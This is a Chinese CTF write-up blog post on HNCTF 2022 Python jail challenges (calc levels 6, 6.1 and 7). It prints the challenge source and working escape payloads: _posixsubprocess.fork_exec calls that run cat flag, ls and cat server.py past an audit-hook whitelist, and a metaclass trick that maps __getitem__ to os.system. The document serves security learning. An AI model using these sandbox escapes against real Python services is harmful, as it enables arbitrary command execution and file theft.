对[HNCTF 2022 WEEK3]calc_jail_beginner_level6,6

对[HNCTF 2022 WEEK3]calc_jail_beginner_level6,6.1,7(JAIL)的简单小结
calc 6:

依照TokyoWesterns CTF 2018 年第 4 届报道 — 第 5 部分 |作者 Abdelkader Belcaid |InfoSec 文章 --- TokyoWesterns CTF 4th 2018 Writeup — Part 5 | by Abdelkader Belcaid | InfoSec Write-ups

这篇题解打的:

__loader__.load_module('_posixsubprocess').fork_exec([b"/bin/cat","flag"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__loader__.load_module('os').pipe()), False, False, None, None, None, -1, None)


__loader__.load_module('_posixsubprocess').fork_exec([b"/bin/cat", "flag"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__loader__.load_module('os').pipe()), False, False, None, None, None, -1, None)

__loader__.load_module('_posixsubprocess').fork_exec([b"/bin/ls"], [b"/bin/ls"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__loader__.load_module('os').pipe()), False, False, None, None, None, -1, None)

__loader__.load_module('_posixsubprocess').fork_exec([b"/bin/cat","server.py"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__loader__.load_module('os').pipe()), False, False, None, None, None, -1, None)
代码逐部分分析
1. __loader__.load_module('_posixsubprocess')
__loader__ 是 Python 中的一个特殊属性,它代表负责加载当前模块的加载器对象。
load_module 是加载器对象的一个方法,用于动态加载指定名称的模块。
_posixsubprocess 是一个 Python 内部模块,它提供了与 POSIX 系统调用相关的底层功能,例如 fork 和 exec 系统调用。通过 load_module 动态加载这个模块,后续可以调用该模块中的 fork_exec 函数。相当于__import__('_posixsubprocess')
2. .fork_exec(...)
这是 _posixsubprocess 模块中的 fork_exec 函数调用,用于创建一个新的子进程并执行指定的程序。下面是该函数的参数解释:

[b"/bin/cat", "flag"]:

这是一个列表,指定了要执行的命令及其参数。b"/bin/cat" 是要执行的程序的路径,这里使用了字节字符串表示;"flag" 是传递给 cat 命令的参数,意味着要读取名为 flag 的文件。
[b"/bin/cat"]:

这个列表指定了环境变量中的 argv[0],通常与要执行的程序路径相同。在大多数情况下,argv[0] 会显示在进程的命令行信息中。
True:

这个布尔值表示是否要将当前进程的环境变量传递给子进程。True 表示传递,子进程会继承父进程的环境变量。
():

这是一个空元组,用于指定子进程的环境变量。如果为空,则子进程会继承父进程的环境变量。
None:

这里的 None 表示不指定新的工作目录,子进程会使用父进程的当前工作目录。
None:

同样表示不指定新的根目录,子进程会使用父进程的根目录。
-1, -1, -1, -1, -1, -1:

这些 -1 分别表示标准输入、标准输出、标准错误输出、文件描述符的关闭标志、文件描述符的继承标志和文件描述符的克隆标志。-1 通常表示使用默认设置。
*(__loader__.load_module('os').pipe()):

__loader__.load_module('os') 动态加载 os 模块。
os.pipe() 函数用于创建一个管道,返回两个文件描述符,分别代表管道的读端和写端。
* 是解包操作符,将 os.pipe() 返回的两个文件描述符作为单独的参数传递给 fork_exec 函数。
False, False:

这两个布尔值分别表示是否要在子进程中设置新的会话和新的进程组。False 表示不设置。
None, None, None:

这些 None 分别表示不指定新的用户 ID、组 ID 和补充组 ID,子进程会继承父进程的相关设置。
-1:

表示不指定新的文件创建掩码,子进程会继承父进程的文件创建掩码。
None:

表示不指定新的调度策略,子进程会继承父进程的调度策略。
总结
这个 payload 的核心目的是创建一个新的子进程,并在子进程中执行 /bin/cat flag 命令来读取 flag 文件的内容。不过需要注意的是,这种使用方式通常用于一些底层的、特定场景的编程,在实际开发中,更推荐使用 Python 的 subprocess 模块来执行外部命令,因为它提供了更高级、更安全和更易用的接口。

顺手拿一下源码:

import sys

def my_audit_hook(my_event, _):
    WHITED_EVENTS = set({'builtins.input', 'builtins.input/result', 'exec', 'compile'})//白名单
    if my_event not in WHITED_EVENTS:
        raise RuntimeError('Operation not permitted: {}'.format(my_event))

def my_input():
    dict_global = dict()
    while True:
      try:
          input_data = input("> ")
      except EOFError:
          print()
          break
      except KeyboardInterrupt:
          print('bye~~')
          continue
      if input_data == '':
          continue
      try:
          complie_code = compile(input_data, '<string>', 'single')
      except SyntaxError as err:
          print(err)
          continue
      try:
          exec(complie_code, dict_global)
      except Exception as err:
          print(err)


def main():
  WELCOME = '''
  _                _                           _       _ _   _                _   __
 | |              (_)                         (_)     (_) | | |              | | / /
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| |/ /_
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ | '_ \
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ | (_) |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|\___/
              __/ |                          _/ |
             |___/                          |__/                                                                        
  '''

  CODE = '''
  dict_global = dict()
    while True:
      try:
          input_data = input("> ")
      except EOFError:
          print()
          break
      except KeyboardInterrupt:
          print('bye~~')
          continue
      if input_data == '':
          continue
      try:
          complie_code = compile(input_data, '<string>', 'single')
      except SyntaxError as err:
          print(err)
          continue
      try:
          exec(complie_code, dict_global)
      except Exception as err:
          print(err)
  '''

  print(WELCOME)

  print("Welcome to the python jail")
  print("Let's have an beginner jail of calc")
  print("Enter your expression and I will evaluate it for you.")
  print("White list of audit hook ===> builtins.input,builtins.input/result,exec,compile")
  print("Some code of python jail:")
  print(CODE)
  my_input()

if __name__ == "__main__":
  sys.addaudithook(my_audit_hook)
  main()

6.1 as the same as 6

import sys

def my_audit_hook(my_event, _):
    WHITED_EVENTS = set({'builtins.input', 'builtins.input/result', 'exec', 'compile'})
    if my_event not in WHITED_EVENTS:
        raise RuntimeError('Operation not permitted: {}'.format(my_event))

def main():
  dict_global = dict()

  WELCOME = '''
  _                _                           _       _ _   _                _   __
 | |              (_)                         (_)     (_) | | |              | | / /
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| |/ /_
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ | '_ \
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ | (_) |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|\___/
              __/ |                          _/ |
             |___/                          |__/                                                                        
  '''

  CODE = '''
    dict_global = dict()
    input_code = input("> ")
    complie_code = compile(input_code, '<string>', 'single')
    exec(complie_code, dict_global)
  '''

  print(WELCOME)

  print("Welcome to the python jail")
  print("Let's have an beginner jail of calc")
  print("Enter your expression and I will evaluate it for you.")
  print("White list of audit hook ===> builtins.input,builtins.input/result,exec,compile")
  print("Some code of python jail:")
  print(CODE)
  input_code = input("> ")
  complie_code = compile(input_code, '<string>', 'single')
  exec(complie_code, dict_global)

if __name__ == "__main__":
  sys.addaudithook(my_audit_hook)
  main()

看一下ai解释:

calc7:

考点:元类,ast

Python进阶——详解元类,metaclass的原理和用法 - 知乎

payload:

import os
class A(type):
    pass
A.__getitem__=os.system
class B(metaclass=A):
    pass
B['calc']
posted @ 2025-07-03 17:41  swordreforge  阅读(17)  评论(0)    收藏  举报